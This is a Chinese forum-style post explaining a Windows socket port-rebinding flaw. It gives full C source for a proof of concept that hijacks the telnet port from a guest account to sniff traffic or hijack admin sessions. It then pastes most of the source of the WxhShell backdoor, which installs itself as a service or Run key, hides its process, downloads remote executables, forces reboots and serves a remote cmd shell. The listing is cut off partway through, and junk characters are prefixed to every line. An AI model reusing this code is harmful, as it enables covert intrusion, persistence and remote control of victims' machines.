在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
78l);/E{v s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
OAXA< -06G.;W\^ saddr.sin_family = AF_INET;
Bsa;, NBk0P*SI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?I+{S hF'VqJS bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
u@Hz7Q}
P $_S-R
3L\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
#)'Iqaq7 )LGVR3# 这意味着什么?意味着可以进行如下的攻击:
. 1kB8&} OBWb0t5H? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
'I,a 29 +La2-I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
uE1;@Dm+ )+N{D=YM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
o;@~uU pX&bX_F{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
/@\`Ibe T=PqA)Ym 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"z9C@T DO~
D?/ia 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
v]EMJm6d| 7Fj8Mp| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Y_CYx oJA_"xp #include
d*8*9CpO: #include
iq' PeVo #include
k]p|kutQCy #include
vn}m-U XA* DWORD WINAPI ClientThread(LPVOID lpParam);
{0,b[ int main()
t?"(Zb {
J%?5d:iN+ WORD wVersionRequested;
d5^^h<' DWORD ret;
ei-\t
qY_ WSADATA wsaData;
!q&Td BOOL val;
E0!d c SOCKADDR_IN saddr;
|y^=(|eM SOCKADDR_IN scaddr;
-))S int err;
b-ss^UL SOCKET s;
==Egy:<:Q SOCKET sc;
-Cyo2wk int caddsize;
@ T^FOTW HANDLE mt;
T\9[PX< DWORD tid;
tK;xW wVersionRequested = MAKEWORD( 2, 2 );
SZH`-xb!+5 err = WSAStartup( wVersionRequested, &wsaData );
/B t!xSI if ( err != 0 ) {
26p[x'W printf("error!WSAStartup failed!\n");
!7DDPJ~ return -1;
CHGa_ }
NF0_D1Goi saddr.sin_family = AF_INET;
SnG(/1C8 +&S7l%- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@ujwN([I K 4GuOl saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o8X_uKEI saddr.sin_port = htons(23);
ht>%O7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q/g!h}>(. {
P")I)>Q6 printf("error!socket failed!\n");
t*hy"e{*a return -1;
\
ku5%y }
QF/ULW0G! val = TRUE;
Ba[,9l[ //SO_REUSEADDR选项就是可以实现端口重绑定的
W yM1s+@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
- VJx)g {
loIb}8 printf("error!setsockopt failed!\n");
a <C?- g| return -1;
JOuyEPy }
opH!sa@U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*;@wPT //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1 !_p
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1r=cCM A,F~*LXm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qFWN._R {
Srx:rUCv ret=GetLastError();
x|m9?[
!_ printf("error!bind failed!\n");
>
-OOU return -1;
6FzB-], }
2PAu>}W* listen(s,2);
`,'/Sdr while(1)
SOI=~BGd) {
?Kgb-bXB caddsize = sizeof(scaddr);
,<IomA:q4 //接受连接请求
Nf([JP% 4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0Fb];:a if(sc!=INVALID_SOCKET)
9)7$U QY {
AJ%E.+@=r mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"AUSgVE+h if(mt==NULL)
u9~5U9]O%6 {
A1/@KC"&{G printf("Thread Creat Failed!\n");
:&wb+tV break;
xnMcxys~ }
!64Tx }
0Agse) CloseHandle(mt);
;j%I1k%A }
b$klm6nMvm closesocket(s);
k\[(;9sf. WSACleanup();
&IN%2c return 0;
Y'iI_cg }
}@q/.Ct! x DWORD WINAPI ClientThread(LPVOID lpParam)
o6vnl {
opa}z-7>^ SOCKET ss = (SOCKET)lpParam;
MS\vrq'_ SOCKET sc;
)'~Jsg- unsigned char buf[4096];
y.A3hV%6b SOCKADDR_IN saddr;
41<~_+-@ long num;
n725hY6}<l DWORD val;
./ {79 DWORD ret;
FGi7KV=N //如果是隐藏端口应用的话,可以在此处加一些判断
U5kKT.M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
['o ueOg saddr.sin_family = AF_INET;
94-BcN saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:V.@:x>id saddr.sin_port = htons(23);
8GP17j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@[lMh9` {
bVzi^R" printf("error!socket failed!\n");
AY5iTbL1 return -1;
Y5tyFi#w[ }
ai-s9r'MI? val = 100;
^7yt> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:m<&Ff} {
rhc+tR ret = GetLastError();
|BFzTz,o return -1;
T^7Cv{[ }
s21}
a,eB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^($'l)I {
xuvW6Q; ret = GetLastError();
G{!er:Vwdh return -1;
5csh8i'V }
O?X[&t
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
jM\{*!7b {
aB6xRn9 printf("error!socket connect failed!\n");
Jx5`0? closesocket(sc);
J> closesocket(ss);
esJ7#Gxt return -1;
1*=ev,Z }
j"nOxs while(1)
W+&5G(z~ {
d AcSG //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]"_c-= //如果是嗅探内容的话,可以再此处进行内容分析和记录
WrGA7&!+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
L"&T3i num = recv(ss,buf,4096,0);
Z8v 8@Y if(num>0)
_P.I+!w:x send(sc,buf,num,0);
%C_tBNE< else if(num==0)
LH4A!a] break;
:$"{-n num = recv(sc,buf,4096,0);
Y_CVDKdcY if(num>0)
V^,gpTyv* send(ss,buf,num,0);
X8*g#lO? else if(num==0)
-F7F 6!s break;
J.yM@wPS> }
w1G(s$;C closesocket(ss);
T2Yf7Szp closesocket(sc);
4Et(3[P71 return 0 ;
a|FkU%sjzZ }
5e+j51 |H
t5a. 9InP2u\&: ==========================================================
Y ]([K.I= zhw*Bed< 下边附上一个代码,,WXhSHELL
eS!]..%y C*2%Ix18+N ==========================================================
t.ulG
* W p)!G #include "stdafx.h"
<uuumi-!%G iI<c #include <stdio.h>
<'4Wne.z! #include <string.h>
hTDGgSG^ #include <windows.h>
T!H(Y4A #include <winsock2.h>
st)is4 #include <winsvc.h>
b23A&1X #include <urlmon.h>
j~N*T XkC y8$3kXh #pragma comment (lib, "Ws2_32.lib")
9Rk(q4.OP #pragma comment (lib, "urlmon.lib")
z[f]mU %AO6= #define MAX_USER 100 // 最大客户端连接数
zls^JTE #define BUF_SOCK 200 // sock buffer
~
=u8H #define KEY_BUFF 255 // 输入 buffer
:Vxt2@p{ kx(beaf #define REBOOT 0 // 重启
-
jZAvb #define SHUTDOWN 1 // 关机
J920A^)j! )(]rUJ~+~A #define DEF_PORT 5000 // 监听端口
rpiuFst 7SHllZ #define REG_LEN 16 // 注册表键长度
f4p*!e #define SVC_LEN 80 // NT服务名长度
$}(Z]z}O ; US)i"l7:H* // 从dll定义API
(n k g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Qp<*or@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_9=87u0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fc~fjtqwvz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y)k"KRW+ cgG*7E // wxhshell配置信息
sN1H{W struct WSCFG {
IrZjlnht int ws_port; // 监听端口
1#N`elm char ws_passstr[REG_LEN]; // 口令
i]<@ int ws_autoins; // 安装标记, 1=yes 0=no
l0G{{R0Y char ws_regname[REG_LEN]; // 注册表键名
<zqIq9}r char ws_svcname[REG_LEN]; // 服务名
(.$$U3\ char ws_svcdisp[SVC_LEN]; // 服务显示名
jlb8<xIC] char ws_svcdesc[SVC_LEN]; // 服务描述信息
WblH} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_kBmKE int ws_downexe; // 下载执行标记, 1=yes 0=no
Ly(iq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
GOxP{d? char ws_filenam[SVC_LEN]; // 下载后保存的文件名
N|mggz F7<M{h5s };
R7IFlQH% U`)
";WN // default Wxhshell configuration
IsT}T}p,t struct WSCFG wscfg={DEF_PORT,
ozsd6&z5l "xuhuanlingzhe",
"d-vs t5 1,
<!t;[ie?y "Wxhshell",
\#biwX "Wxhshell",
w)<.v+u.Y "WxhShell Service",
Fdl0V:< "Wrsky Windows CmdShell Service",
)PR`irw "Please Input Your Password: ",
,8DC9yM, 1,
9+(6/< "
http://www.wrsky.com/wxhshell.exe",
uLv "Wxhshell.exe"
MX*4d{ l };
rk%pA-P2 >Ch2Ep // 消息定义模块
6 [bQ'Ir^8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
x%)oL:ue char *msg_ws_prompt="\n\r? for help\n\r#>";
M%jR`qVFg. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:
HU|BJ> char *msg_ws_ext="\n\rExit.";
Y, Lpv| char *msg_ws_end="\n\rQuit.";
QX?moW6UW char *msg_ws_boot="\n\rReboot...";
\|vo@E char *msg_ws_poff="\n\rShutdown...";
CNV^,`FX char *msg_ws_down="\n\rSave to ";
, MqoX-+ 86KK Y2 char *msg_ws_err="\n\rErr!";
\*5z0A9)5) char *msg_ws_ok="\n\rOK!";
`<@ "WSn j<WsFVS char ExeFile[MAX_PATH];
`+."X1 int nUser = 0;
fM&
fqI HANDLE handles[MAX_USER];
,WsG,Q(K int OsIsNt;
gr!!pp; |pknaz SERVICE_STATUS serviceStatus;
KWYjN
h#* SERVICE_STATUS_HANDLE hServiceStatusHandle;
~mHrgxQ- xA;)02 // 函数声明
Kl ?C[ int Install(void);
ME>Sh~C\ int Uninstall(void);
`)8SIx int DownloadFile(char *sURL, SOCKET wsh);
?]*"S{Cq v int Boot(int flag);
iig4JP'h void HideProc(void);
N.|zz)y int GetOsVer(void);
lwG)&qyVd int Wxhshell(SOCKET wsl);
Fv(FRZ) void TalkWithClient(void *cs);
Z6So5r%wZ int CmdShell(SOCKET sock);
vytO8m%U int StartFromService(void);
5ld?N2<8/ int StartWxhshell(LPSTR lpCmdLine);
h0x'QiCc UZ-pN_!Z: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
x!7!)]h VOID WINAPI NTServiceHandler( DWORD fdwControl );
^;{uop"DS ]:n9MFv // 数据结构和表定义
.f[z_%ar SERVICE_TABLE_ENTRY DispatchTable[] =
>,Zn~8&Z {
9%Vy, {wscfg.ws_svcname, NTServiceMain},
>`yRL[c; {NULL, NULL}
`PLax@]2 };
vwAhNw2- b'4}=Xpn // 自我安装
Y~r)WV!G int Install(void)
9[&q
C {
cl{mRt0 char svExeFile[MAX_PATH];
39pA:3iTd HKEY key;
".pQM.T strcpy(svExeFile,ExeFile);
EZp >Cf7 ~XXNzz]? // 如果是win9x系统,修改注册表设为自启动
t,A=B(W if(!OsIsNt) {
Jh4pY#aF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N]ebKe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pFBK'NE RegCloseKey(key);
!4z vkJO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{XC[Ia6jtL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3_&s'sG5 RegCloseKey(key);
fU.z_T[@ return 0;
SY}"4=M?l }
ZBQ @S }
eT2Tg5Etc }
zG%'Cw)8 else {
kf95 )iLo v4X ` Ul* // 如果是NT以上系统,安装为系统服务
o>]z~^c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
S*7 6V"") if (schSCManager!=0)
wq8&2(|Fc {
4)XB3$< SC_HANDLE schService = CreateService
s._,IW;
(
fL-$wK<p< schSCManager,
]T.+(\I wscfg.ws_svcname,
.E7"Lfs- wscfg.ws_svcdisp,
:+?rnb)N SERVICE_ALL_ACCESS,
\0e`sOS`L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
iMV=R2t 2 SERVICE_AUTO_START,
hdmKD0 SERVICE_ERROR_NORMAL,
}Q6o#oZ svExeFile,
iG=Di)O NULL,
4#t-?5" NULL,
{([`[7B>a< NULL,
>4+KEK NULL,
.Ep&O# NULL
I_R 6
M1 );
rJRg4Rog if (schService!=0)
R.
vVl+ {
/cvMp#<] CloseServiceHandle(schService);
}iUpBn CloseServiceHandle(schSCManager);
$(*>]PC+) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"-rqL strcat(svExeFile,wscfg.ws_svcname);
&zP>pQr`# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Tv
5J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
bUYjmb2g) RegCloseKey(key);
V"} Jsr return 0;
Ua=r24fy }
sN#ju5 }
~zWLqnS} CloseServiceHandle(schSCManager);
)me`Ud }
(<e<Q~( }
v?%vB#A^ 3 4&xh1=3 return 1;
Ea-U+7JC }
XBO(
*6"E Ji6.-[: // 自我卸载
~_g{P3 int Uninstall(void)
q[/pE7FL {
^r mQMjF
HKEY key;
~-R2mAUK .;l`VWP if(!OsIsNt) {
4:/^ .: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qL[SwEc RegDeleteValue(key,wscfg.ws_regname);
h@y>QhYU0 RegCloseKey(key);
v53|)]V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ibG>|hV RegDeleteValue(key,wscfg.ws_regname);
|>.</68Z RegCloseKey(key);
es=OWJt^ return 0;
8.+
yZTg }
;P/ 4.|< }
8%xBSob{j }
}Gy M<!: else {
1uB$@a\ ~l*<LXp8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
PrA(==FX/ if (schSCManager!=0)
;y50t$0
{
NSH4 @x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
j]vEo~Bbh if (schService!=0)
*;~u 5y2b {
^5(d^N if(DeleteService(schService)!=0) {
0r8Wv,7Bo CloseServiceHandle(schService);
"^a"`?J CloseServiceHandle(schSCManager);
2% OAQ( return 0;
EbVva{;#$; }
)feZ&G] CloseServiceHandle(schService);
Re
%dNxJ= }
5C^@w CloseServiceHandle(schSCManager);
U%[ye0@: }
&g1\0t }
FouN}X6 #.$y return 1;
E-FR
w }
@qj]`}Gx'
KLE)+| // 从指定url下载文件
r@bh,U$ int DownloadFile(char *sURL, SOCKET wsh)
D}j`T {
XoL DqN! HRESULT hr;
QCE7VV1Rw char seps[]= "/";
{*[(j^OE char *token;
(/,l0 char *file;
7]ysvSM char myURL[MAX_PATH];
gZ7R^]
k char myFILE[MAX_PATH];
x\f~Gtt7Y o[fg:/5)A strcpy(myURL,sURL);
AX<f$%iqD token=strtok(myURL,seps);
6Io}3}3 while(token!=NULL)
oOU_
Nay {
a#;;0R $ file=token;
9OW8/H&! token=strtok(NULL,seps);
tp>YsQy]8 }
q CYu@Ho ?+^p$'5 GetCurrentDirectory(MAX_PATH,myFILE);
zyUS$g]& strcat(myFILE, "\\");
]+W){W=ai strcat(myFILE, file);
QuPz'Ut# send(wsh,myFILE,strlen(myFILE),0);
oW6Hufu+o send(wsh,"...",3,0);
VJ&<6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f17E2^(I(} if(hr==S_OK)
'xGhMgR; return 0;
!]82$ else
emK*g<] return 1;
J ~3m7 ^MF 2Q+ }
X.k8w\~ 40h$-
VYT/ // 系统电源模块
'ET];iZ2 int Boot(int flag)
PQ[?zNrSV {
jYRSV7d HANDLE hToken;
C8>
i{XOO, TOKEN_PRIVILEGES tkp;
e&d$kUJrq to</ if(OsIsNt) {
o
/[7Vo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
iBSg`"S^]C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
c&',#.9 tkp.PrivilegeCount = 1;
R^o535pozc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
nH6SA1$kW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^Z?m)qxvB if(flag==REBOOT) {
C|TQf8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[Tp?u8$p` return 0;
!ZH "$m| }
$sda'L5^p else {
#NYnZ^6e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xL"J?Gy return 0;
~44u_^a }
az0=jou<Zl }
aH'fAX0bF else {
9]oT/ooM if(flag==REBOOT) {
?4/pE@RIy if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J'X}6Q return 0;
4J_HcatOB }
`y.4FA4"8 else {
}%/mPbd# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
XNJZ~Mowb return 0;
#xGP|:m }
F{E@snc }
`D~oY= l_Lz9k return 1;
Y$v #>w_M }
jeRE(3'Q -6kX?sNl)X // win9x进程隐藏模块
D5P-$1KPt void HideProc(void)
jc9C|r {
Xpg-rxX .eD&UQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
jsE8=zZs if ( hKernel != NULL )
zP #:Tv' {
(l{8Ixs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;P)oKx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
JP<j4/ FreeLibrary(hKernel);
M1-tRF }
E0+L?(; sT2`y$' return;
=f!A o:Uc }
RxYENG]/6 }'eef"DJ9 // 获取操作系统版本
L{%L*z9J int GetOsVer(void)
,5;M(ft# {
`J,>#Y6(J OSVERSIONINFO winfo;
>:6iFPP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
M> WWP3 GetVersionEx(&winfo);
)Y)_T&O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~iH a^i?2* return 1;
:a;F3NJ else
@e3+Gs return 0;
{L7Pha
}
>
UZ-['H k}fC58q // 客户端句柄模块
3Jizv,? int Wxhshell(SOCKET wsl)
SqPqL<,e {
?g+3 URpK SOCKET wsh;
lOVcXAe} struct sockaddr_in client;
YFm%W@ DWORD myID;
$\J5l$tU p-.kBF while(nUser<MAX_USER)
O^8ZnN_+ {
;O`f+rG~ int nSize=sizeof(client);
dfdK%/' $( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Ip{R'HG/ if(wsh==INVALID_SOCKET) return 1;
#17 &rizl :VlA2Ih&q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
q"2APvsvp if(handles[nUser]==0)
1cOR?=G~ closesocket(wsh);
Pq [_(Nt else
z)C/U nUser++;
md+pS"8o; }
yor'"6)i WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
<jV,VKL# QNx]8r return 0;
}qECpKa0 }
6}E>B{Y yk?bz // 关闭 socket
R%RbC!P void CloseIt(SOCKET wsh)
=|E
" {
n/1t UF closesocket(wsh);
{UP[iw$~ nUser--;
r
1r@TG\ ExitThread(0);
h^=;\ng1l }
Ak@!F6~ zJw5+
+
// 客户端请求句柄
hxL?6mhY void TalkWithClient(void *cs)
"ZGP,=?y2 {
,EEAxmf +S4>}2N33 SOCKET wsh=(SOCKET)cs;
f5 bq)Pm& char pwd[SVC_LEN];
eWAD;x?. char cmd[KEY_BUFF];
`qs,V char chr[1];
*xNc^&. int i,j;
wx3_?8z/O <K^a2 D while (nUser < MAX_USER) {
' J@J$#6 >(a35 b$ if(wscfg.ws_passstr) {
n3~axRPO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GoybkwFjZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zz
U,0
L //ZeroMemory(pwd,KEY_BUFF);
gP
QOv i=0;
$}WT"K while(i<SVC_LEN) {
T)I)r239h gf8o~vKX$G // 设置超时
%evb.h) fd_set FdRead;
aNu.4c/5 struct timeval TimeOut;
I^k&v V FD_ZERO(&FdRead);
0R)x"4Ww FD_SET(wsh,&FdRead);
cQt&%SVT]E TimeOut.tv_sec=8;
zr?s5RS TimeOut.tv_usec=0;
7!AyL w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
95'+8*YCY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{`SMxDevc} :
b`N(] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&q<k0_5Q pwd
=chr[0]; M99ku'
if(chr[0]==0xd || chr[0]==0xa) { 6m?<"y8]
pwd=0; XF(D%ygeC
break; =Iop
} |-V:#1wR.]
i++; &233QRYM
} c0Ih$z
$}su'EIo
// 如果是非法用户,关闭 socket 0L/chP
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LnE/62){N
} ,7@\e&/&
X,w X)9]J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }BC%(ZH6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -O$vJ,*
H};1>G4
while(1) { f9K7^qwkiz
tNFw1&
ZeroMemory(cmd,KEY_BUFF); 8B*(P>
_$AM=?P&
// 自动支持客户端 telnet标准 3&})gU&a
j=0; GxzO|vFQ
while(j<KEY_BUFF) { Aeh#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *S*49Hq7c
cmd[j]=chr[0]; x,mt}>
if(chr[0]==0xa || chr[0]==0xd) { ![B|Nxq}@
cmd[j]=0; k'O.1
break; QtnNc!,n
} [voZ=+/
j++; ~Fh+y+g?
} +ytP5K7
q~> +x?30
// 下载文件 Y!xPmL^]?
if(strstr(cmd,"http://")) { ~b]enG5xS4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >gp53\
if(DownloadFile(cmd,wsh)) v)O0i2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3/]1m9x
else
E$
\l57
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Ep'm
} rEWJ3*Hb
else { TQck$&
!nl-}P,
switch(cmd[0]) { %@C8EFl%3
~NIhS!
// 帮助 CqEbQ>?
case '?': { dGk"`/@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }T$BU>z33N
break; K/*R}X
} >niv>+!N
// 安装 t >"`rcg
case 'i': { 8/>.g.]
if(Install()) EY"of[p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zp8x/,gwF
else PMTrG78p*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c#{|sR5
break; 0M;g&&mF
} >s/_B//[
// 卸载 [;ZCq!)>
case 'r': { +&7V@
if(Uninstall()) DRm`y>.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K*5gb^Ul
else h.K"v5I*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w ?_8OJ
break; w =F9>
} o;6~pw%
// 显示 wxhshell 所在路径 wb62($
case 'p': { C0f%~UMwd
char svExeFile[MAX_PATH]; me2vR#
strcpy(svExeFile,"\n\r"); 7u;N/@
strcat(svExeFile,ExeFile); `WH$rx!
send(wsh,svExeFile,strlen(svExeFile),0); n`Z}tQ%)o
break; (!fx5&F
} .pPuBJL]<
// 重启 -}<Ru)
case 'b': { !k%
PP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,Gv}N&
if(Boot(REBOOT)) nZi&`HjQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aR3jeB,=x
else { MuWZf2C
closesocket(wsh); cz IEkm
ExitThread(0); <6-73LsHcP
} Z]uc *Ed
break; {,5.svO
} KH#z =_
// 关机 +PE-j| D
case 'd': { BC!) g+8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C _he=SV
if(Boot(SHUTDOWN)) =SmU;t>t/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S}rEQGGR{
else { ahgP"Qz
closesocket(wsh); <k8WnA ~Fl
ExitThread(0); )T9Cv8
} ~/A2:}Cp=
break; NpGi3>5
} 8B-PsS|'
// 获取shell EE]xZz>o
case 's': { 1/mBp+D
CmdShell(wsh); >[wxZ5))
closesocket(wsh); EoutB Vm
ExitThread(0); I*%3E.Z@g
break; Q0"?TSY
} >dK0&+A
// 退出 G.O;[(3ab
case 'x': { neu<zSS
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (L4llZ;q
CloseIt(wsh); Vp; `!+z"
break; +mBS&FK
} to).PI?
// 离开 r&xIVFPI[
case 'q': { O1jiD_Y!9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #m{(aa9;
closesocket(wsh); _YlyS )#@
WSACleanup(); {i=V:$_#
exit(1); \y271}'
break; ;B
|
} 3}V (8
} >|RoLV
} [@/p 8I
$W}:,]hoj
// 提示信息 6I(Y<LZ5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,5<AV K-#Q
} *VXx\&
} A?04,l]y
v(Kj6 '
return; 0=
bXL!]
} LkHH7Pd@
7./-|#
// shell模块句柄 vG6*[c8
int CmdShell(SOCKET sock) lFf>z}eLy
{ }U=}5`_]D
STARTUPINFO si; D"$ 97
ZeroMemory(&si,sizeof(si)); T]Q4=xsv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =#4>c8MM
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /zh:7N
PROCESS_INFORMATION ProcessInfo; Ie!">8."
char cmdline[]="cmd"; @?J7=}bzz
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kK4+K74B
return 0; ZYY~A_C
} Z2*?a|3
%w>3Fwj`z
// 自身启动模式 61QA<Wb
int StartFromService(void) A#']e 8
{ ,)U%6=o#}
typedef struct eQyc<
{ C8v
DWORD ExitStatus; zQO 1%g
DWORD PebBaseAddress; bZUw^{~)D
DWORD AffinityMask; OR+_s @Yg
DWORD BasePriority; )%p46(]
ULONG UniqueProcessId; H(Wiy@cJn
ULONG InheritedFromUniqueProcessId; kLF3s#k
